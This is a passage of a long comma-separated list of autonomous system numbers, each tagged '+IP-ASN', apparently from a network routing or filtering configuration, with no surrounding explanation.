29922 +IP-ASN, 29923 +IP-ASN, 29928 +IP-ASN, 29926 +IP-ASN, 16622 +IP-ASN, 16620 +IP-ASN, 16604 +IP-ASN, 397103 +IP-ASN, 399766 +IP-ASN, 398435 +IP-ASN, 1430 +IP-ASN, 398433 +IP-ASN, 397105 +IP-ASN, 398434 +IP-ASN, 16601 +IP-ASN, 16608 +IP-ASN, 399762 +IP-ASN, 398432 +IP-ASN, 399763 +IP-ASN, 1433 +IP-ASN, 399761 +IP-ASN, 1432 +IP-ASN, 398430 +IP-ASN, 397100 +IP-ASN, 64286 +IP-ASN, 1439 +IP-ASN, 1438 +IP-ASN, 64287 +IP-ASN, 64288 +IP-ASN, 1437 +IP-ASN, 64289 +IP-ASN, 1436 +IP-ASN, 16609 +IP-ASN, 397107 +IP-ASN, 29921 +IP-ASN, 2768 +IP-ASN, 399768 +IP-ASN, 397109 +IP-ASN, 2769 +IP-ASN, 398437 +IP-ASN, 399769 +IP-ASN, 397108 +IP-ASN, 29913 +IP-ASN, 29914 +IP-ASN, 64290 +IP-ASN, 29912 +IP-ASN, 29917 +IP-ASN, 64293 +IP-ASN, 64294 +IP-ASN, 64295 +IP-ASN, 64296 +IP-ASN, 29919 +IP-ASN, 16611 +IP-ASN, 16610 +IP-ASN, 398446 +IP-ASN, 399777 +IP-ASN, 398447 +IP-ASN, 397113 +IP-ASN, 398444 +IP-ASN, 397116 +IP-ASN, 399776 +IP-ASN, 397115 +IP-ASN, 399773 +IP-ASN, 397110 +IP-ASN, 399774 +IP-ASN, 398443 +IP-ASN, 398440 +IP-ASN, 397112 +IP-ASN, 399771 +IP-ASN, 398441 +IP-ASN, 17929 +IP-ASN, 397118 +IP-ASN, 398448 +IP-ASN, 397119 +IP-ASN, 398449 +IP-ASN, 29902 +IP-ASN, 29903 +IP-ASN, 29900 +IP-ASN, 29901 +IP-ASN, 29906 +IP-ASN, 29905 +IP-ASN, 16600 +IP-ASN, 399788 +IP-ASN, 398457 +IP-ASN, 397125 +IP-ASN, 399789 +IP-ASN, 398458 +IP-ASN, 397124 +IP-ASN, 397127 +IP-ASN, 398455 +IP-ASN, 398456 +IP-ASN, 397126 +IP-ASN, 398453 +IP-ASN, 397121 +IP-ASN, 399785 +IP-ASN, 397120 +IP-ASN, 399782 +IP-ASN, 398451 +IP-ASN, 397123 +IP-ASN, 397122 +IP-ASN, 2705 +IP-ASN, 2707 +IP-ASN, 397129 +IP-ASN, 2701 +IP-ASN, 398459 +IP-ASN, 2703 +IP-ASN, 399781 +IP-ASN, 398450 +IP-ASN, 398468 +IP-ASN, 398469 +IP-ASN, 397138 +IP-ASN, 2711 +IP-ASN, 397137 +IP-ASN, 399798 +IP-ASN, 398467 +IP-ASN, 397132 +IP-ASN, 398464 +IP-ASN, 398465 +IP-ASN, 399796 +IP-ASN, 398462 +IP-ASN, 397134 +IP-ASN, 398463 +IP-ASN, 397133 +IP-ASN, 399791 +IP-ASN, 398460 +IP-ASN, 198178 +IP-ASN, 398461 +IP-ASN, 399790 +IP-ASN, 398479 +IP-ASN, 397146 +IP-ASN, 2721 +IP-ASN, 397149 +IP-ASN, 2722 +IP-ASN, 398478 +IP-ASN, 398475 +IP-ASN, 397142 +IP-ASN, 398476 +IP-ASN, 397145 +IP-ASN, 398474 +IP-ASN, 2727 +IP-ASN, 2728 +IP-ASN, 2723 +IP-ASN, 2725 +IP-ASN, 2726 +IP-ASN, 398471 +IP-ASN, 397141 +IP-ASN, 397140 +IP-ASN, 398470 +IP-ASN, 39239 +IP-ASN, 40229 +IP-ASN, 40226 +IP-ASN, 40227 +IP-ASN, 27250 +IP-ASN, 40220 +IP-ASN, 27253 +IP-ASN, 40221 +IP-ASN, 27254 +IP-ASN, 27257 +IP-ASN, 40222 +IP-ASN, 27259 +IP-ASN, 27258 +IP-ASN, 54869 +IP-ASN, 53536 +IP-ASN, 15272 +IP-ASN, 210329 +IP-ASN, 15270 +IP-ASN, 53530 +IP-ASN, 15275 +IP-ASN, 15276 +IP-ASN, 53531 +IP-ASN, 54860 +IP-ASN, 54866 +IP-ASN, 53535 +IP-ASN, 15277 +IP-ASN, 53532 +IP-ASN, 53533 +IP-ASN, 15278 +IP-ASN, 54864 +IP-ASN, 40239 +IP-ASN, 40237 +IP-ASN, 40238 +IP-ASN, 27240 +IP-ASN, 27242 +IP-ASN, 40232 +IP-ASN, 27241 +IP-ASN, 27244 +IP-ASN, 40230 +IP-ASN, 27243 +IP-ASN, 27246 +IP-ASN, 27245 +IP-ASN, 40236 +IP-ASN, 40233 +IP-ASN, 40234 +IP-ASN, 27247 +IP-ASN, 27239 +IP-ASN, 53549 +IP-ASN, 27238 +IP-ASN, 54878 +IP-ASN, 54879 +IP-ASN, 53548 +IP-ASN, 15260 +IP-ASN, 16591 +IP-ASN, 16590 +IP-ASN, 54872 +IP-ASN, 53541 +IP-ASN, 15264 +IP-ASN, 53542 +IP-ASN, 15265 +IP-ASN, 16595 +IP-ASN, 210314 +IP-ASN, 15262 +IP-ASN, 54870 +IP-ASN, 54871 +IP-ASN, 16593 +IP-ASN, 15263 +IP-ASN, 54876 +IP-ASN, 15268 +IP-ASN, 16599 +IP-ASN, 15269 +IP-ASN, 53546 +IP-ASN, 15266 +IP-ASN, 15267 +IP-ASN, 16597 +IP-ASN, 211640 +IP-ASN, 64217 +IP-ASN, 64218 +IP-ASN, 15248 +IP-ASN, 40248 +IP-ASN, 15249 +IP-ASN, 54890 +IP-ASN, 29890 +IP-ASN, 29891 +IP-ASN, 53560 +IP-ASN, 27231 +IP-ASN, 29894 +IP-ASN, 29892 +IP-ASN, 27233 +IP-ASN, 40240 +IP-ASN, 64212 +IP-ASN, 29893 +IP-ASN, 64213 +IP-ASN, 27235 +IP-ASN, 29898 +IP-ASN, 40246 +IP-ASN, 29899 +IP-ASN, 40244 +IP-ASN, 27237 +IP-ASN, 29897 +IP-ASN, 40245 +IP-ASN, 27236 +IP-ASN, 27228 +IP-ASN, 27227 +IP-ASN, 29889 +IP-ASN, 53559 +IP-ASN, 27229 +IP-ASN, 16581 +IP-ASN, 15250 +IP-ASN, 54883 +IP-ASN, 53552 +IP-ASN, 16585 +IP-ASN, 16584 +IP-ASN, 53550 +IP-ASN, 15251 +IP-ASN, 54881 +IP-ASN, 16582 +IP-ASN, 54882 +IP-ASN, 53551 +IP-ASN, 16589 +IP-ASN, 15257 +IP-ASN, 15258 +IP-ASN, 53557 +IP-ASN, 199582 +IP-ASN, 16588 +IP-ASN, 54885 +IP-ASN, 53554 +IP-ASN, 16587 +IP-ASN, 15255 +IP-ASN, 54886 +IP-ASN, 53555 +IP-ASN, 15239 +IP-ASN, 64208 +IP-ASN, 15238 +IP-ASN, 16568 +IP-ASN, 53571 +IP-ASN, 27220 +IP-ASN, 399807 +IP-ASN, 29884 +IP-ASN, 399808 +IP-ASN, 64200 +IP-ASN, 399805 +IP-ASN, 40252 +IP-ASN, 64201 +IP-ASN, 399806 +IP-ASN, 27221 +IP-ASN, 27224 +IP-ASN, 399803 +IP-ASN, 64202 +IP-ASN, 29887 +IP-ASN, 29888 +IP-ASN, 399804 +IP-ASN, 64203 +IP-ASN, 27223 +IP-ASN, 27226 +IP-ASN, 64204 +IP-ASN, 29885 +IP-ASN, 40255 +IP-ASN, 29886 +IP-ASN, 27225 +IP-ASN, 399802 +IP-ASN, 27217 +IP-ASN, 27216 +IP-ASN, 27219 +IP-ASN, 29878 +IP-ASN, 27218 +IP-ASN, 40260 +IP-ASN, 40261 +IP-ASN, 16574 +IP-ASN, 54894 +IP-ASN, 15242 +IP-ASN, 16573 +IP-ASN, 15243 +IP-ASN, 54892 +IP-ASN, 53561 +IP-ASN, 53562 +IP-ASN, 16571 +IP-ASN, 54893 +IP-ASN, 53567 +IP-ASN, 16578 +IP-ASN, 54898 +IP-ASN, 16577 +IP-ASN, 53568 +IP-ASN, 54896 +IP-ASN, 16576 +IP-ASN, 16575 +IP-ASN, 399810 +IP-ASN, 15228 +IP-ASN, 64239 +IP-ASN, 16559 +IP-ASN, 15229 +IP-ASN, 16557 +IP-ASN, 15227 +IP-ASN, 53582 +IP-ASN, 53580 +IP-ASN, 40264 +IP-ASN, 399818 +IP-ASN, 29873 +IP-ASN, 40265 +IP-ASN, 399819 +IP-ASN, 40262 +IP-ASN, 399816 +IP-ASN, 64233 +IP-ASN, 399817 +IP-ASN, 29871 +IP-ASN, 27210 +IP-ASN, 40263 +IP-ASN, 399814 +IP-ASN, 40268 +IP-ASN, 64236 +IP-ASN, 399815 +IP-ASN, 40266 +IP-ASN, 29874 +IP-ASN, 399812 +IP-ASN, 64237 +IP-ASN, 64238 +IP-ASN, 29875 +IP-ASN, 40267 +IP-ASN, 399813 +IP-ASN, 27214 +IP-ASN, 29869 +IP-ASN, 27205 +IP-ASN, 29867 +IP-ASN, 29868 +IP-ASN, 212947 +IP-ASN, 40272 +IP-ASN, 399809 +IP-ASN, 64241 +IP-ASN, 40270 +IP-ASN, 16563 +IP-ASN, 15231 +IP-ASN, 15232 +IP-ASN, 53575 +IP-ASN, 53572 +IP-ASN, 16560 +IP-ASN, 15230 +IP-ASN, 16567 +IP-ASN, 53578 +IP-ASN, 15235 +IP-ASN, 53579 +IP-ASN, 16565 +IP-ASN, 15234 +IP-ASN, 53577 +IP-ASN, 16564 +IP-ASN, 64228 +IP-ASN, 399821 +IP-ASN, 16548 +IP-ASN, 64229 +IP-ASN, 15218 +IP-ASN, 15215 +IP-ASN, 399820 +IP-ASN, 16546 +IP-ASN, 15216 +IP-ASN, 53592 +IP-ASN, 53593 +IP-ASN, 53590 +IP-ASN, 53591 +IP-ASN, 40275 +IP-ASN, 399829 +IP-ASN, 40276 +IP-ASN, 399827 +IP-ASN, 27200 +IP-ASN, 64223 +IP-ASN, 40274 +IP-ASN, 399828 +IP-ASN, 27202 +IP-ASN, 64224 +IP-ASN, 29865 +IP-ASN, 29866 +IP-ASN, 64225 +IP-ASN, 27201 +IP-ASN, 29863 +IP-ASN, 27204 +IP-ASN, 64226 +IP-ASN, 40277 +IP-ASN, 399823 +IP-ASN, 64227 +IP-ASN, 29864 +IP-ASN, 27203 +IP-ASN, 399824 +IP-ASN, 199518 +IP-ASN, 29858 +IP-ASN, 211607 +IP-ASN, 212935 +IP-ASN, 40281 +IP-ASN, 64230 +IP-ASN, 16552 +IP-ASN, 53585 +IP-ASN, 15220 +IP-ASN, 15221 +IP-ASN, 53586 +IP-ASN, 16550 +IP-ASN, 15224 +IP-ASN, 16556 +IP-ASN, 15225 +IP-ASN, 16555 +IP-ASN, 53587 +IP-ASN, 16554 +IP-ASN, 16553 +IP-ASN, 53588 +IP-ASN, 16538 +IP-ASN, 15206 +IP-ASN, 399833 +IP-ASN, 399830 +IP-ASN, 15205 +IP-ASN, 16539 +IP-ASN, 15209 +IP-ASN, 29851 +IP-ASN, 64255 +IP-ASN, 40284 +IP-ASN, 399838 +IP-ASN, 40285 +IP-ASN, 29854 +IP-ASN, 64257 +IP-ASN, 399836 +IP-ASN, 29855 +IP-ASN, 399837 +IP-ASN, 29852 +IP-ASN, 40288 +IP-ASN, 40289 +IP-ASN, 29848 +IP-ASN, 64260 +IP-ASN, 40293 +IP-ASN, 64261 +IP-ASN, 40294 +IP-ASN, 40292 +IP-ASN, 53596 +IP-ASN, 16541 +IP-ASN, 53597 +IP-ASN, 53595 +IP-ASN, 15213 +IP-ASN, 16545 +IP-ASN, 16544 +IP-ASN, 15211 +IP-ASN, 53598 +IP-ASN, 53599 +IP-ASN, 16542 +IP-ASN, 15212 +IP-ASN, 16527 +IP-ASN, 16525 +IP-ASN, 16524 +IP-ASN, 399842 +IP-ASN, 399840 +IP-ASN, 64242 +IP-ASN, 64243 +IP-ASN, 29840 +IP-ASN, 40298 +IP-ASN, 399849 +IP-ASN, 64245 +IP-ASN, 40296 +IP-ASN, 29843 +IP-ASN, 29844 +IP-ASN, 64247 +IP-ASN, 399848 +IP-ASN, 64248 +IP-ASN, 29841 +IP-ASN, 64249 +IP-ASN, 29842 +IP-ASN, 399846 +IP-ASN, 64250 +IP-ASN, 29838 +IP-ASN, 64251 +IP-ASN, 29839 +IP-ASN, 64252 +IP-ASN, 15202 +IP-ASN, 16534 +IP-ASN, 15200 +IP-ASN, 140890 +IP-ASN, 42808 +IP-ASN, 208078 +IP-ASN, 209394 +IP-ASN, 54809 +IP-ASN, 54803 +IP-ASN, 54804 +IP-ASN, 54801 +IP-ASN, 54808 +IP-ASN, 54806 +IP-ASN, 54800 +IP-ASN, 54815 +IP-ASN, 54813 +IP-ASN, 54819 +IP-ASN, 54816 +IP-ASN, 137220 +IP-ASN, 54811 +IP-ASN, 27290 +IP-ASN, 27292 +IP-ASN, 27295 +IP-ASN, 27294 +IP-ASN, 27297 +IP-ASN, 27296 +IP-ASN, 27298 +IP-ASN, 54825 +IP-ASN, 54824 +IP-ASN, 54829 +IP-ASN, 54828 +IP-ASN, 54821 +IP-ASN, 54822 +IP-ASN, 54820 +IP-ASN, 27282 +IP-ASN, 27281 +IP-ASN, 27284 +IP-ASN, 27283 +IP-ASN, 27285 +IP-ASN, 27288 +IP-ASN, 27289 +IP-ASN, 54836 +IP-ASN, 53505 +IP-ASN, 53506 +IP-ASN, 54837 +IP-ASN, 54834 +IP-ASN, 53503 +IP-ASN, 53504 +IP-ASN, 53507 +IP-ASN, 54838 +IP-ASN, 53508 +IP-ASN, 54839 +IP-ASN, 53501 +IP-ASN, 53502 +IP-ASN, 54833 +IP-ASN, 53500 +IP-ASN, 40207 +IP-ASN, 40204 +IP-ASN, 27271 +IP-ASN, 27270 +IP-ASN, 40208 +IP-ASN, 27274 +IP-ASN, 27277 +IP-ASN, 27279 +IP-ASN, 40203 +IP-ASN, 40200 +IP-ASN, 53516 +IP-ASN, 53517 +IP-ASN, 54845 +IP-ASN, 53515 +IP-ASN, 15293 +IP-ASN, 15294 +IP-ASN, 54849 +IP-ASN, 53519 +IP-ASN, 15297 +IP-ASN, 54840 +IP-ASN, 15295 +IP-ASN, 54843 +IP-ASN, 53512 +IP-ASN, 53513 +IP-ASN, 15299 +IP-ASN, 40217 +IP-ASN, 40218 +IP-ASN, 212990 +IP-ASN, 40215 +IP-ASN, 40216 +IP-ASN, 27261 +IP-ASN, 27263 +IP-ASN, 27268 +IP-ASN, 40213 +IP-ASN, 27267 +IP-ASN, 42874 +IP-ASN, 40211 +IP-ASN, 40212 +IP-ASN, 54858 +IP-ASN, 53527 +IP-ASN, 53528 +IP-ASN, 53526 +IP-ASN, 54857 +IP-ASN, 15280 +IP-ASN, 53529 +IP-ASN, 15281 +IP-ASN, 54851 +IP-ASN, 15287 +IP-ASN, 15285 +IP-ASN, 212996 +IP-ASN, 54854 +IP-ASN, 54855 +IP-ASN, 53524 +IP-ASN, 53521 +IP-ASN, 54853 +IP-ASN, 5978 +IP-ASN, 5972 +IP-ASN, 5974 +IP-ASN, 5979 +IP-ASN, 205763 +IP-ASN, 5982 +IP-ASN, 5980 +IP-ASN, 2000 +IP-ASN, 2002 +IP-ASN, 2003 +IP-ASN, 393700 +IP-ASN, 393702 +IP-ASN, 393703 +IP-ASN, 393712 +IP-ASN, 393713 +IP-ASN, 393714 +IP-ASN, 5927 +IP-ASN, 393710 +IP-ASN, 393708 +IP-ASN, 393709 +IP-ASN, 393706 +IP-ASN, 393707 +IP-ASN, 4600 +IP-ASN, 393722 +IP-ASN, 5939 +IP-ASN, 393724 +IP-ASN, 393725 +IP-ASN, 4604 +IP-ASN, 393719 +IP-ASN, 393716 +IP-ASN, 393717 +IP-ASN, 393731 +IP-ASN, 393732 +IP-ASN, 393726 +IP-ASN, 393745 +IP-ASN, 393747 +IP-ASN, 5958 +IP-ASN, 393740 +IP-ASN, 5957 +IP-ASN, 393743 +IP-ASN, 393737 +IP-ASN, 393738 +IP-ASN, 393739 +IP-ASN, 16516 +IP-ASN, 16515 +IP-ASN, 215177 +IP-ASN, 16519 +IP-ASN, 16517 +IP-ASN, 40187 +IP-ASN, 40185 +IP-ASN, 40186 +IP-ASN, 29832 +IP-ASN, 29833 +IP-ASN, 40189 +IP-ASN, 29831 +IP-ASN, 29825 +IP-ASN, 29826 +IP-ASN, 29823 +IP-ASN, 29824 +IP-ASN, 29829 +IP-ASN, 40194 +IP-ASN, 29827 +IP-ASN, 40193 +IP-ASN, 29828 +IP-ASN, 53497 +IP-ASN, 53498 +IP-ASN, 53495 +IP-ASN, 53499 +IP-ASN, 16521 +IP-ASN, 16520 +IP-ASN, 16504 +IP-ASN, 16503 +IP-ASN, 16502 +IP-ASN, 16509 +IP-ASN, 16508 +IP-ASN, 16507 +IP-ASN, 40198 +IP-ASN, 40196 +IP-ASN, 40197 +IP-ASN, 29821 +IP-ASN, 29822 +IP-ASN, 29813 +IP-ASN, 29819 +IP-ASN, 29816 +IP-ASN, 29817 +IP-ASN, 16512 +IP-ASN, 29811 +IP-ASN, 29804 +IP-ASN, 29801 +IP-ASN, 29802 +IP-ASN, 29805 +IP-ASN, 29809 +IP-ASN, 16501 +IP-ASN, 216475 +IP-ASN, 17812 +IP-ASN, 203169 +IP-ASN, 215135 +IP-ASN, 216462 +IP-ASN, 401024 +IP-ASN, 64198 +IP-ASN, 401026 +IP-ASN, 401025 +IP-ASN, 401027 +IP-ASN, 401037 +IP-ASN, 401036 +IP-ASN, 401039 +IP-ASN, 215129 +IP-ASN, 216440 +IP-ASN, 401000 +IP-ASN, 401008 +IP-ASN, 401009 +IP-ASN, 203120 +IP-ASN, 216435 +IP-ASN, 40107 +IP-ASN, 15149 +IP-ASN, 41436 +IP-ASN, 29792 +IP-ASN, 40109 +IP-ASN, 29790 +IP-ASN, 27131 +IP-ASN, 40100 +IP-ASN, 29794 +IP-ASN, 40101 +IP-ASN, 27138 +IP-ASN, 29797 +IP-ASN, 40102 +IP-ASN, 27137 +IP-ASN, 54748 +IP-ASN, 53417 +IP-ASN, 54749 +IP-ASN, 53418 +IP-ASN, 54746 +IP-ASN, 54747 +IP-ASN, 16482 +IP-ASN, 16481 +IP-ASN, 53419 +IP-ASN, 16480 +IP-ASN, 15154 +IP-ASN, 16486 +IP-ASN, 15155 +IP-ASN, 53410 +IP-ASN, 15153 +IP-ASN, 16483 +IP-ASN, 54744 +IP-ASN, 16489 +IP-ASN, 53411 +IP-ASN, 54743 +IP-ASN, 15157 +IP-ASN, 53412 +IP-ASN, 40118 +IP-ASN, 40116 +IP-ASN, 15139 +IP-ASN, 29781 +IP-ASN, 29784 +IP-ASN, 40110 +IP-ASN, 40111 +IP-ASN, 29782 +IP-ASN, 29783 +IP-ASN, 29788 +IP-ASN, 40114 +IP-ASN, 29789 +IP-ASN, 40112 +IP-ASN, 29786 +IP-ASN, 29787 +IP-ASN, 40113 +IP-ASN, 53429 +IP-ASN, 53426 +IP-ASN, 29779 +IP-ASN, 53427 +IP-ASN, 54758 +IP-ASN, 16470 +IP-ASN, 54751 +IP-ASN, 53420 +IP-ASN, 53421 +IP-ASN, 54752 +IP-ASN, 16474 +IP-ASN, 15144 +IP-ASN, 16473 +IP-ASN, 15141 +IP-ASN, 15142 +IP-ASN, 54755 +IP-ASN, 15147 +IP-ASN, 15148 +IP-ASN, 16478 +IP-ASN, 53425 +IP-ASN, 16477 +IP-ASN, 15145 +IP-ASN, 53423 +IP-ASN, 54754 +IP-ASN, 15129 +IP-ASN, 40129 +IP-ASN, 40127 +IP-ASN, 40128 +IP-ASN, 41458 +IP-ASN, 29770 +IP-ASN, 40121 +IP-ASN, 40122 +IP-ASN, 29771 +IP-ASN, 40120 +IP-ASN, 40126 +IP-ASN, 40123 +IP-ASN, 29775 +IP-ASN, 29776 +IP-ASN, 54769 +IP-ASN, 54762 +IP-ASN, 16464 +IP-ASN, 15132 +IP-ASN, 15133 +IP-ASN, 53432 +IP-ASN, 54763 +IP-ASN, 16463 +IP-ASN, 15130 +IP-ASN, 54761 +IP-ASN, 16461 +IP-ASN, 15131 +IP-ASN, 16468 +IP-ASN, 53435 +IP-ASN, 15136 +IP-ASN, 54767 +IP-ASN, 15137 +IP-ASN, 16467 +IP-ASN, 16466 +IP-ASN, 15134 +IP-ASN, 54765 +IP-ASN, 53434 +IP-ASN, 15118 +IP-ASN, 15119 +IP-ASN, 40138 +IP-ASN, 15116 +IP-ASN, 40139 +IP-ASN, 15117 +IP-ASN, 54781 +IP-ASN, 53450 +IP-ASN, 29763 +IP-ASN, 29761 +IP-ASN, 29766 +IP-ASN, 29767 +IP-ASN, 40137 +IP-ASN, 29764 +IP-ASN, 29765 +IP-ASN, 29759 +IP-ASN, 29757 +IP-ASN, 54779 +IP-ASN, 53449 +IP-ASN, 29758 +IP-ASN, 40140 +IP-ASN, 15121 +IP-ASN, 54774 +IP-ASN, 53440 +IP-ASN, 54772 +IP-ASN, 15120 +IP-ASN, 53446 +IP-ASN, 54778 +IP-ASN, 15126 +IP-ASN, 54775 +IP-ASN, 15123 +IP-ASN, 53444 +IP-ASN, 53445 +IP-ASN, 54776 +IP-ASN, 15124 +IP-ASN, 15108 +IP-ASN, 40149 +IP-ASN, 16436 +IP-ASN, 15106 +IP-ASN, 53460 +IP-ASN, 54792 +IP-ASN, 53461 +IP-ASN, 40144 +IP-ASN, 29750 +IP-ASN, 40147 +IP-ASN, 29755 +IP-ASN, 40148 +IP-ASN, 29756 +IP-ASN, 29753 +IP-ASN, 40146 +IP-ASN, 29748 +IP-ASN, 52129 +IP-ASN, 29749 +IP-ASN, 29746 +IP-ASN, 53459 +IP-ASN, 40151 +IP-ASN, 15110 +IP-ASN, 53454 +IP-ASN, 15111 +IP-ASN, 54785 +IP-ASN, 53451 +IP-ASN, 16440 +IP-ASN, 53457 +IP-ASN, 15115 +IP-ASN, 15112 +IP-ASN, 54786 +IP-ASN, 15113 +IP-ASN, 54787 +IP-ASN, 53456 +IP-ASN, 16428 +IP-ASN, 16427 +IP-ASN, 16426 +IP-ASN, 53472 +IP-ASN, 53470 +IP-ASN, 16429 +IP-ASN, 40154 +IP-ASN, 29740 +IP-ASN, 29744 +IP-ASN, 29745 +IP-ASN, 40159 +IP-ASN, 29742 +IP-ASN, 40156 +IP-ASN, 29736 +IP-ASN, 40160 +IP-ASN, 54795 +IP-ASN, 16431 +IP-ASN, 53464 +IP-ASN, 53465 +IP-ASN, 16430 +IP-ASN, 15100 +IP-ASN, 54796 +IP-ASN, 54793 +IP-ASN, 53462 +IP-ASN, 54794 +IP-ASN, 53463 +IP-ASN, 54799 +IP-ASN, 16435 +IP-ASN, 15103 +IP-ASN, 16434 +IP-ASN, 53469 +IP-ASN, 54797 +IP-ASN, 16433 +IP-ASN, 16432 +IP-ASN, 54798 +IP-ASN, 53467 +IP-ASN, 16417 +IP-ASN, 53482 +IP-ASN, 53483 +IP-ASN, 16419 +IP-ASN, 40165 +IP-ASN, 40166 +IP-ASN, 29730 +IP-ASN, 40163 +IP-ASN, 40169 +IP-ASN, 29733 +IP-ASN, 29734 +IP-ASN, 40167 +IP-ASN, 29732 +IP-ASN, 40168 +IP-ASN, 30715 +IP-ASN, 29726 +IP-ASN, 29727 +IP-ASN, 30718 +IP-ASN, 40173 +IP-ASN, 30712 +IP-ASN, 40170 +IP-ASN, 29728 +IP-ASN, 40171 +IP-ASN, 30714 +IP-ASN, 29729 +IP-ASN, 53475 +IP-ASN, 53476 +IP-ASN, 30710 +IP-ASN, 16423 +IP-ASN, 53477 +IP-ASN, 53478 +IP-ASN, 16406 +IP-ASN, 215069 +IP-ASN, 16405 +IP-ASN, 16404 +IP-ASN, 16403 +IP-ASN, 53493 +IP-ASN, 16409 +IP-ASN, 16408 +IP-ASN, 16407 +IP-ASN, 40176 +IP-ASN, 40177 +IP-ASN, 40175 +IP-ASN, 30708 +IP-ASN, 29722 +IP-ASN, 40178 +IP-ASN, 29720 +IP-ASN, 29721 +IP-ASN, 30704 +IP-ASN, 29716 +IP-ASN, 29713 +IP-ASN, 30706 +IP-ASN, 30707 +IP-ASN, 40183 +IP-ASN, 40184 +IP-ASN, 40181 +IP-ASN, 30703 +IP-ASN, 29718 +IP-ASN, 53487 +IP-ASN, 53484 +IP-ASN, 53485 +IP-ASN, 53488 +IP-ASN, 16411 +IP-ASN, 16410 +IP-ASN, 53489 +IP-ASN, 393750 +IP-ASN, 4597 +IP-ASN, 393756 +IP-ASN, 393753 +IP-ASN, 393748 +IP-ASN, 393749 +IP-ASN, 393761 +IP-ASN, 393766 +IP-ASN, 393767 +IP-ASN, 393769 +IP-ASN, 393762 +IP-ASN, 393763 +IP-ASN, 393765 +IP-ASN, 393759 +IP-ASN, 27190 +IP-ASN, 393770 +IP-ASN, 27192 +IP-ASN, 27196 +IP-ASN, 27195 +IP-ASN, 27198 +IP-ASN, 393777 +IP-ASN, 27197 +IP-ASN, 393774 +IP-ASN, 393775 +IP-ASN, 393776 +IP-ASN, 393780 +IP-ASN, 393781 +IP-ASN, 393782 +IP-ASN, 27180 +IP-ASN, 393783 +IP-ASN, 27183 +IP-ASN, 27185 +IP-ASN, 393788 +IP-ASN, 27187 +IP-ASN, 393789 +IP-ASN, 27189 +IP-ASN, 393784 +IP-ASN, 393786 +IP-ASN, 393787 +IP-ASN, 3291 +IP-ASN, 4557 +IP-ASN, 393791 +IP-ASN, 4556 +IP-ASN, 393792 +IP-ASN, 5887 +IP-ASN, 27170 +IP-ASN, 393794 +IP-ASN, 27172 +IP-ASN, 27174 +IP-ASN, 27173 +IP-ASN, 393790 +IP-ASN, 27176 +IP-ASN, 393799 +IP-ASN, 27175 +IP-ASN, 27178 +IP-ASN, 27177 +IP-ASN, 393795 +IP-ASN, 393796 +IP-ASN, 27179 +IP-ASN, 393797 +IP-ASN, 393798 +IP-ASN, 15190 +IP-ASN, 54704 +IP-ASN, 15191 +IP-ASN, 54705 +IP-ASN, 54702 +IP-ASN, 54703 +IP-ASN, 54708 +IP-ASN, 54706 +IP-ASN, 54707 +IP-ASN, 15198 +IP-ASN, 15199 +IP-ASN, 15196 +IP-ASN, 15197 +IP-ASN, 54700 +IP-ASN, 4569 +IP-ASN, 27161 +IP-ASN, 4563 +IP-ASN, 4566 +IP-ASN, 27163 +IP-ASN, 27162 +IP-ASN, 4565 +IP-ASN, 27167 +IP-ASN, 27166 +IP-ASN, 54713 +IP-ASN, 54714 +IP-ASN, 15182 +IP-ASN, 15188 +IP-ASN, 15185 +IP-ASN, 54711 +IP-ASN, 54712 +IP-ASN, 54710 +IP-ASN, 4578 +IP-ASN, 4574 +IP-ASN, 4577 +IP-ASN, 4576 +IP-ASN, 27154 +IP-ASN, 27153 +IP-ASN, 54724 +IP-ASN, 15172 +IP-ASN, 15173 +IP-ASN, 15171 +IP-ASN, 15176 +IP-ASN, 15177 +IP-ASN, 15174 +IP-ASN, 15175 +IP-ASN, 54722 +IP-ASN, 54723 +IP-ASN, 54720 +IP-ASN, 15178 +IP-ASN, 54721 +IP-ASN, 3257 +IP-ASN, 27142 +IP-ASN, 27149 +IP-ASN, 54737 +IP-ASN, 53406 +IP-ASN, 53407 +IP-ASN, 27139 +IP-ASN, 54735 +IP-ASN, 16493 +IP-ASN, 16492 +IP-ASN, 16491 +IP-ASN, 54739 +IP-ASN, 16490 +IP-ASN, 15165 +IP-ASN, 4581 +IP-ASN, 15164 +IP-ASN, 4583 +IP-ASN, 15169 +IP-ASN, 54733 +IP-ASN, 39115 +IP-ASN, 54731 +IP-ASN, 16498 +IP-ASN, 54732 +IP-ASN, 3423 +IP-ASN, 3424 +IP-ASN, 3425 +IP-ASN, 206980 +IP-ASN, 3428 +IP-ASN, 205655 +IP-ASN, 216304 +IP-ASN, 3431 +IP-ASN, 393800 +IP-ASN, 393802 +IP-ASN, 3446 +IP-ASN, 3443 +IP-ASN, 393811 +IP-ASN, 393812 +IP-ASN, 393813 +IP-ASN, 393808 +IP-ASN, 393803 +IP-ASN, 393804 +IP-ASN, 393805 +IP-ASN, 393806 +IP-ASN, 3456 +IP-ASN, 3457 +IP-ASN, 3458 +IP-ASN, 3459 +IP-ASN, 3452 +IP-ASN, 3455 +IP-ASN, 393821 +IP-ASN, 393822 +IP-ASN, 393824 +IP-ASN, 393820 +IP-ASN, 393819 +IP-ASN, 393815 +IP-ASN, 393816 +IP-ASN, 393817 +IP-ASN, 3450 +IP-ASN, 393833 +IP-ASN, 393835 +IP-ASN, 393830 +IP-ASN, 393831 +IP-ASN, 206943 +IP-ASN, 393825 +IP-ASN, 393826 +IP-ASN, 393827 +IP-ASN, 393828 +IP-ASN, 393843 +IP-ASN, 393844 +IP-ASN, 393846 +IP-ASN, 393840 +IP-ASN, 205602 +IP-ASN, 393836 +IP-ASN, 393837 +IP-ASN, 393838 +IP-ASN, 393839 +IP-ASN, 205609 +IP-ASN, 3401 +IP-ASN, 393856 +IP-ASN, 393857 +IP-ASN, 393851 +IP-ASN, 393852 +IP-ASN, 393853 +IP-ASN, 3408 +IP-ASN, 393847 +IP-ASN, 393848 +IP-ASN, 393849 +IP-ASN, 393860 +IP-ASN, 3410 +IP-ASN, 393867 +IP-ASN, 393868 +IP-ASN, 393861 +IP-ASN, 3416 +IP-ASN, 393862 +IP-ASN, 393863 +IP-ASN, 393864 +IP-ASN, 393859 +IP-ASN, 53380 +IP-ASN, 53383 +IP-ASN, 53384 +IP-ASN, 53381 +IP-ASN, 53382 +IP-ASN, 40067 +IP-ASN, 40064 +IP-ASN, 40065 +IP-ASN, 29711 +IP-ASN, 29712 +IP-ASN, 40068 +IP-ASN, 40069 +IP-ASN, 29705 +IP-ASN, 29702 +IP-ASN, 29708 +IP-ASN, 40073 +IP-ASN, 29709 +IP-ASN, 40074 +IP-ASN, 64041 +IP-ASN, 29706 +IP-ASN, 40071 +IP-ASN, 29707 +IP-ASN, 53377 +IP-ASN, 53374 +IP-ASN, 